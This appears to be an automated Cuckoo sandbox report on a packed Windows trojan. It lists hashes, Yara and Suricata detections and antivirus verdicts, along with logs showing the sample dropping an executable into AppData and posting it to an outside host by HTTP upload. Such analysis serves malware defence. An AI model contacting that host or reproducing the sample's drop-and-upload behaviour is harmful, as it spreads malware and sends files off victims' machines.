Summary

87c3977c1cc5bf488ec02c250c9d1a3e25520635ca2a6150763704d763ee234d

File 87c3977c1cc5bf488ec02c250c9d1a3e25520635ca2a6150763704d763ee234d

Summary
Download Resubmit sample

Size 236.0KB
Type PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
MD5 71cd16dd1fe6872f9e2b3775663a4ae5
SHA1 52ddc9ed4dd2a423b6825202f5546987eda2252e
SHA256 87c3977c1cc5bf488ec02c250c9d1a3e25520635ca2a6150763704d763ee234d
SHA512
c4a486e62a9caa1ad1c9109a5e882c71d9a5e33fbf5d1eb20a1c42c824ed1e50df8615186881d1b0bab007eca217251386d7dbf0b94d91d002a82326a0049d31
CRC32 2311C8FD
ssdeep None
Yara
  • UPX - (no description)
  • suspicious_packer_section - The packer/protector section names/keywords
  • network_tcp_listen - Listen for incoming communication
  • network_tcp_socket - Communications over RAW socket
  • network_dns - Communications use DNS

Score

This file is very suspicious, with a score of 10 out of 10!

Please notice: The scoring system is currently still in development and should be considered an alpha feature.

Autosubmit

6721070

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Information on Execution

Analysis
Category Started Completed Duration Routing Logs
FILE July 11, 2025, 7:52 p.m. July 11, 2025, 8 p.m. 443 seconds internet Show Analyzer Log
Show Cuckoo Log

Analyzer Log

2025-07-08 14:27:40,000 [analyzer] DEBUG: Starting analyzer from: C:\tmp1xmcit
2025-07-08 14:27:40,000 [analyzer] DEBUG: Pipe server name: \??\PIPE\yLEIOXXlpCMjKSKsGWFaWjHEydZoZy
2025-07-08 14:27:40,000 [analyzer] DEBUG: Log pipe server name: \??\PIPE\qevAhGLXrQlsqlxejbMwRYUy
2025-07-08 14:27:40,312 [analyzer] DEBUG: Started auxiliary module Curtain
2025-07-08 14:27:40,312 [analyzer] DEBUG: Started auxiliary module DbgView
2025-07-08 14:27:40,828 [analyzer] DEBUG: Started auxiliary module Disguise
2025-07-08 14:27:41,046 [analyzer] DEBUG: Loaded monitor into process with pid 508
2025-07-08 14:27:41,046 [analyzer] DEBUG: Started auxiliary module DumpTLSMasterSecrets
2025-07-08 14:27:41,046 [analyzer] DEBUG: Started auxiliary module Human
2025-07-08 14:27:41,046 [analyzer] DEBUG: Started auxiliary module InstallCertificate
2025-07-08 14:27:41,046 [analyzer] DEBUG: Started auxiliary module Reboot
2025-07-08 14:27:41,155 [analyzer] DEBUG: Started auxiliary module RecentFiles
2025-07-08 14:27:41,155 [analyzer] DEBUG: Started auxiliary module Screenshots
2025-07-08 14:27:41,155 [analyzer] DEBUG: Started auxiliary module Sysmon
2025-07-08 14:27:41,155 [analyzer] DEBUG: Started auxiliary module LoadZer0m0n
2025-07-08 14:27:41,280 [lib.api.process] INFO: Successfully executed process from path u'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\87c3977c1cc5bf488ec02c250c9d1a3e25520635ca2a6150763704d763ee234d.exe' with arguments '' and pid 3032
2025-07-08 14:27:41,515 [analyzer] DEBUG: Loaded monitor into process with pid 3032
2025-07-08 14:27:41,530 [analyzer] INFO: Added new file to list with pid 3032 and path C:\Users\Administrator\AppData\Local\Temp\rifaien2-8UNaZguMkYfKOwOA.exe
2025-07-08 14:28:10,280 [analyzer] INFO: Analysis timeout hit, terminating analysis.
2025-07-08 14:28:10,750 [analyzer] INFO: Terminating remaining processes before shutdown.
2025-07-08 14:28:10,750 [lib.api.process] INFO: Successfully terminated process with pid 3032.
2025-07-08 14:28:10,765 [analyzer] INFO: Analysis completed.

Cuckoo Log

2025-07-11 19:52:36,923 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:37,963 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:38,985 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:40,012 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:41,038 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:42,058 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:43,092 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:44,254 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:45,291 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:46,314 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:47,334 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:48,356 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:49,388 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:50,456 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:51,679 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:52,762 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:53,809 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:55,099 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:56,186 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:57,240 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:58,289 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:52:59,380 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:53:00,441 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:53:01,527 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:53:02,591 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:53:03,692 [cuckoo.core.scheduler] DEBUG: Task #6687519: no machine available yet
2025-07-11 19:53:04,897 [cuckoo.core.scheduler] INFO: Task #6687519: acquired machine win7x6414 (label=win7x6414)
2025-07-11 19:53:04,907 [cuckoo.core.resultserver] DEBUG: Now tracking machine 192.168.168.214 for task #6687519
2025-07-11 19:53:05,287 [cuckoo.auxiliary.sniffer] INFO: Started sniffer with PID 3833018 (interface=vboxnet0, host=192.168.168.214)
2025-07-11 19:53:06,528 [cuckoo.machinery.virtualbox] DEBUG: Starting vm win7x6414
2025-07-11 19:53:07,587 [cuckoo.machinery.virtualbox] DEBUG: Restoring virtual machine win7x6414 to vmcloak
2025-07-11 19:56:25,206 [cuckoo.core.guest] INFO: Starting analysis #6687519 on guest (id=win7x6414, ip=192.168.168.214)
2025-07-11 19:56:26,213 [cuckoo.core.guest] DEBUG: win7x6414: not ready yet
2025-07-11 19:56:31,235 [cuckoo.core.guest] INFO: Guest is running Cuckoo Agent 0.10 (id=win7x6414, ip=192.168.168.214)
2025-07-11 19:56:31,453 [cuckoo.core.guest] DEBUG: Uploading analyzer to guest (id=win7x6414, ip=192.168.168.214, monitor=latest, size=6660546)
2025-07-11 19:56:32,893 [cuckoo.core.resultserver] DEBUG: Task #6687519: live log analysis.log initialized.
2025-07-11 19:56:33,899 [cuckoo.core.resultserver] DEBUG: Task #6687519 is sending a BSON stream
2025-07-11 19:56:34,362 [cuckoo.core.resultserver] DEBUG: Task #6687519 is sending a BSON stream
2025-07-11 19:56:35,210 [cuckoo.core.resultserver] DEBUG: Task #6687519: File upload for 'shots/0001.jpg'
2025-07-11 19:56:35,225 [cuckoo.core.resultserver] DEBUG: Task #6687519 uploaded file length: 134071
2025-07-11 19:56:47,774 [cuckoo.core.guest] DEBUG: win7x6414: analysis #6687519 still processing
2025-07-11 19:57:02,916 [cuckoo.core.guest] DEBUG: win7x6414: analysis #6687519 still processing
2025-07-11 19:57:03,544 [cuckoo.core.resultserver] DEBUG: Task #6687519: File upload for 'curtain/1751977690.5.curtain.log'
2025-07-11 19:57:03,558 [cuckoo.core.resultserver] DEBUG: Task #6687519 uploaded file length: 36
2025-07-11 19:57:03,611 [cuckoo.core.resultserver] DEBUG: Task #6687519: File upload for 'sysmon/1751977690.69.sysmon.xml'
2025-07-11 19:57:03,663 [cuckoo.core.resultserver] DEBUG: Task #6687519 uploaded file length: 1621320
2025-07-11 19:57:03,673 [cuckoo.core.resultserver] DEBUG: Task #6687519: File upload for 'files/e2ab20947faaaa3b_rifaien2-8unazgumkyfkowoa.exe'
2025-07-11 19:57:03,685 [cuckoo.core.resultserver] DEBUG: Task #6687519 uploaded file length: 241664
2025-07-11 19:57:04,158 [cuckoo.core.resultserver] DEBUG: Task #6687519: File upload for 'shots/0002.jpg'
2025-07-11 19:57:04,180 [cuckoo.core.resultserver] DEBUG: Task #6687519 uploaded file length: 133445
2025-07-11 19:57:04,193 [cuckoo.core.resultserver] DEBUG: Task #6687519 had connection reset for <Context for LOG>
2025-07-11 19:57:06,044 [cuckoo.core.guest] INFO: win7x6414: analysis completed successfully
2025-07-11 19:57:06,069 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Redsocks
2025-07-11 19:57:06,114 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Sniffer
2025-07-11 19:57:07,465 [cuckoo.machinery.virtualbox] INFO: Successfully generated memory dump for virtual machine with label win7x6414 to path /srv/cuckoo/cwd/storage/analyses/6687519/memory.dmp
2025-07-11 19:57:07,472 [cuckoo.machinery.virtualbox] DEBUG: Stopping vm win7x6414
2025-07-11 19:59:59,956 [cuckoo.core.resultserver] DEBUG: Stopped tracking machine 192.168.168.214 for task #6687519
2025-07-11 20:00:00,357 [cuckoo.core.scheduler] DEBUG: Released database task #6687519
2025-07-11 20:00:00,396 [cuckoo.core.scheduler] INFO: Task #6687519: analysis procedure completed

Signatures

Yara rules detected for file (5 events)
description (no description) rule UPX
description The packer/protector section names/keywords rule suspicious_packer_section
description Listen for incoming communication rule network_tcp_listen
description Communications over RAW socket rule network_tcp_socket
description Communications use DNS rule network_dns
Command line console output was observed (10 events)
Time & API Arguments Status Return Repeated

WriteConsoleA

 buffer: ma num wa rifaien yanje v1.0
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: ma num wa gyen orn hyzik rifaien2-8UNaZguMkYfKOwOA.exe en exec ween NODE3
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: P
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: OST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: */* Content-Length: 242084 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5bc5dee0b23c5696
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: H
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: TTP/1.1 100 Continue
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: R
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: ecv failure: error
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: curl_easy_perform() failed: Error
console_handle: 0x0000000b
1 1 0

WriteConsoleA

 buffer: ma au ga rre gyaje weel
console_handle: 0x00000007
1 1 0
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Creates executable files on the filesystem (1 event)
file C:\Users\Administrator\AppData\Local\Temp\rifaien2-8UNaZguMkYfKOwOA.exe
Drops an executable to the user AppData folder (1 event)
file C:\Users\Administrator\AppData\Local\Temp\rifaien2-8UNaZguMkYfKOwOA.exe
The executable is compressed using UPX (3 events)
section UPX0 description Section name indicates UPX
section UPX1 description Section name indicates UPX
section UPX2 description Section name indicates UPX
One or more of the buffers contains an embedded PE file (1 event)
buffer Buffer with sha1: 3147486f3393eaa0eb2b973dcb944b1b5ccfb026
Raised Suricata alerts (3 events)
suricata ETPRO MALWARE Win32/Snojan Variant Uploading EXE
suricata ET INFO Generic HTTP EXE Upload Outbound
suricata TGI HUNT Suspicious String in HTTP POST Body (curl)
File has been identified by 11 AntiVirus engine on IRMA as malicious (11 events)
G Data Antivirus (Windows) Virus: Trojan.Agent.CYZT (Engine A)
Avast Core Security (Linux) Win32:Banker-LAA [Trj]
C4S ClamAV (Linux) Win.Malware.Cymt-10023133-0
WithSecure (Linux) Trojan.TR/Agent.qasng
eScan Antivirus (Linux) Trojan.Agent.CYZT(DB)
ESET Security (Windows) a variant of Win32/Agent.AAEF trojan
Sophos Anti-Virus (Linux) Troj/Bdoor-BHD
ClamAV (Linux) Win.Malware.Cymt-10023133-0
Bitdefender Antivirus (Linux) Trojan.Agent.CYZT
Kaspersky Standard (Windows) HEUR:Flooder.Win32.CoreWarrior.a
Emsisoft Commandline Scanner (Windows) Trojan.Agent.CYZT (B)
Screenshots
Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action VT Location
No hosts contacted.
Cuckoo

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